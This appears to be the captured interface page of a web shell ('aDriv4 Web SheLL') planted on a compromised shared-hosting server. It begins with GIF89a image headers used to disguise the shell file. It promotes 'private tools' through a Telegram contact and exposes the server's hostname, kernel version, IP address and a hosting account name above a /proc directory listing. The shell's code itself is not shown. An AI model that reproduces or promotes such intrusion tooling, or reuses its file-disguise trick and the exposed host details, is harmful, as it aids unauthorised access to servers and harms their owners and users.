GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium279.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 66.29.132.189
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-25 09:01:36
.. dir - root/root 0755 2025-08-05 08:18:13
1569468 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:29:55
2218597 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:29:55
2662326 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:29:55
2831627 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:29:54
2838752 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:29:54
2846790 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:30:01
2870913 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:30:21
2882657 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:30:41
2888904 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:31:01
2895728 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:31:21
2903793 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:31:42
2911272 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:32:02
2917447 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:32:22
2924156 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:32:42
2926989 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:32:52
2926990 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:32:52
2930023 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:33:02
2938153 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:33:24
2944378 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:33:44
2950806 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:04
2954173 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:13
2954456 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:13
2954488 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:14
2955131 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:15
2955888 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:18
2955922 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:18
2955923 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:18
2955958 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:18
2955995 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:18
2956352 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:19
2956383 dir - ajitkvub/ajitkvub 0555 2026-02-12 09:34:19
acpi dir - root/root 0555 2025-12-23 09:35:01
bus dir - root/root 0555 2025-12-23 09:35:01
driver dir - root/root 0555 2026-02-12 09:32:27
fs dir - root/root 0555 2025-12-23 09:35:01
irq dir - root/root 0555 2025-12-23 09:35:01
kcare dir - root/root 0555 2026-02-12 09:32:27
lve dir - root/root 0555 2026-02-12 09:30:04
net link - ajitkvub/ajitkvub 0555 2026-02-12 09:32:53
scsi dir - root/root 0555 2025-12-23 09:35:01
self link - ajitkvub/ajitkvub 0555 2026-02-12 09:32:52
sys dir - root/root 0555 2025-06-25 09:01:37
sysvipc dir - root/root 0555 2026-02-12 09:32:27
thread-self link - ajitkvub/ajitkvub 0555 2026-02-12 09:32:52
tty dir - root/root 0555 2026-02-12 09:32:27
buddyinfo 0 B root/root 0444 2026-02-12 09:32:27
cgroups 0 B root/root 0444 2026-02-12 09:32:27
cmdline text/plain 0 B root/root 0444 2026-02-12 09:29:59
consoles 0 B root/root 0444 2026-02-12 09:32:27
cpuinfo text/plain 0 B root/root 0444 2026-02-12 09:30:09
crypto 0 B root/root 0444 2026-02-12 09:32:27
devices 0 B root/root 0444 2026-02-12 09:32:27
diskstats 0 B root/root 0444 2026-02-12 09:30:10
dma 0 B root/root 0444 2026-02-12 09:32:27
execdomains 0 B root/root 0444 2026-02-12 09:32:27
fb 0 B root/root 0444 2026-02-12 09:32:27
filesystems text/plain 0 B root/root 0444 2026-02-12 09:29:58
interrupts 0 B root/root 0444 2026-02-12 09:32:27
iomem 0 B root/root 0444 2026-02-12 09:32:27
ioports 0 B root/root 0444 2026-02-12 09:32:27
kallsyms 0 B root/root 0444 2025-12-23 09:35:01
kcore 128 TB root/root 0400 2025-12-23 09:35:01
key-users 0 B root/root 0444 2026-02-12 09:32:27
keys 0 B root/root 0444 2026-02-12 09:32:27
kmsg 0 B root/root 0400 2026-02-12 09:32:27
kpagecgroup 0 B root/root 0400 2026-02-12 09:32:27
kpagecount 0 B root/root 0400 2026-02-12 09:32:27
kpageflags 0 B root/root 0400 2026-02-12 09:32:27
loadavg text/plain 0 B root/root 0444 2026-02-12 09:30:02
locks 0 B root/root 0444 2026-02-12 09:32:27
mdstat 0 B root/root 0444 2026-02-12 09:32:27
meminfo text/plain 0 B root/root 0444 2026-02-12 09:29:58
misc 0 B root/root 0444 2026-02-12 09:32:27
modules 0 B root/root 0444 2026-02-12 09:32:27
mounts text/plain 0 B ajitkvub/ajitkvub 0444 2026-02-12 09:32:53
mtrr 0 B root/root 0644 2025-12-23 09:35:01
pagetypeinfo 0 B root/root 0400 2026-02-12 09:32:27
partitions 0 B root/root 0444 2026-02-12 09:32:27
sched_debug 0 B root/root 0444 2026-02-12 09:32:27
schedstat 0 B root/root 0444 2026-02-12 09:32:27
slabinfo 0 B root/root 0400 2026-02-12 09:32:27
softirqs 0 B root/root 0444 2026-02-12 09:32:27
stat text/plain 0 B root/root 0444 2026-02-12 09:29:58
swaps 0 B root/root 0444 2025-06-25 09:01:37
sysrq-trigger 0 B root/root 0200 2025-12-23 09:35:01
timer_list 0 B root/root 0400 2026-02-12 09:32:27
uptime text/plain 0 B root/root 0444 2026-02-12 09:29:58
version text/plain 0 B root/root 0444 2026-02-12 09:32:27
vmallocinfo 0 B root/root 0400 2026-02-12 09:32:27
vmstat 0 B root/root 0444 2026-02-12 09:30:23
zoneinfo 0 B root/root 0444 2026-02-12 09:32:27
© aDriv4